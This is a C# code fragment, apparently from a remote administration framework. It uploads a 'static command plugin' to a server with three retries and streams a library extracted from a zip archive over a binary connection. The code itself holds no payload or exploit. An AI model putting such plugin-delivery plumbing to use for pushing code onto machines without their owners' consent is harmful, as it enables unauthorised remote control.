public async Task <bool> UploadPluginToServer(StaticCommandPlugin staticCommandPlugin) { if (await Task.Run(() => _connectionManager.IsStaticCommandPluginAvailable(staticCommandPlugin.PluginHash))) { return(true); } bool success = false; //3 tries for (int i = 0; i < 3; i++) { var autoResetEvent = new AutoResetEvent(false); EventHandler <byte[]> pluginReceivedHandler = (sender, bytes) => { if (bytes.SequenceEqual(staticCommandPlugin.PluginHash)) { success = true; autoResetEvent.Set(); } }; EventHandler <byte[]> pluginFailedHandler = (sender, bytes) => { if (bytes.SequenceEqual(staticCommandPlugin.PluginHash)) { success = false; autoResetEvent.Set(); } }; _connectionManager.StaticCommandReceived += pluginReceivedHandler; _connectionManager.StaticCommandTransmissionFailed += pluginFailedHandler; try { await Task.Run(() => _connectionManager.SendStaticCommandPlugin(staticCommandPlugin)); if (!await Task.Run(() => autoResetEvent.WaitOne()) || !success) { continue; } } finally { _connectionManager.StaticCommandReceived -= pluginReceivedHandler; _connectionManager.StaticCommandTransmissionFailed -= pluginFailedHandler; autoResetEvent.Dispose(); } break; } return(success); }
public void SendStaticCommandPlugin(StaticCommandPlugin staticCommandPlugin) { using (var fs = new FileStream(staticCommandPlugin.Path, FileMode.Open, FileAccess.Read)) using (var archive = new ZipArchive(fs, ZipArchiveMode.Read)) { var entry = archive.GetEntry(staticCommandPlugin.PluginInfo.Library1); using (var zipStream = entry.Open()) { var buffer = new byte[8192]; lock (Sender.WriterLock) { Sender.Connection.BinaryWriter.Write((byte)FromAdministrationPackage.SendStaticCommandPlugin); Sender.Connection.BinaryWriter.Write((int)entry.Length + 16); Sender.Connection.BinaryWriter.Write(staticCommandPlugin.PluginHash); int read; while ((read = zipStream.Read(buffer, 0, buffer.Length)) > 0) { Sender.Connection.BinaryWriter.Write(buffer, 0, read); } } } } }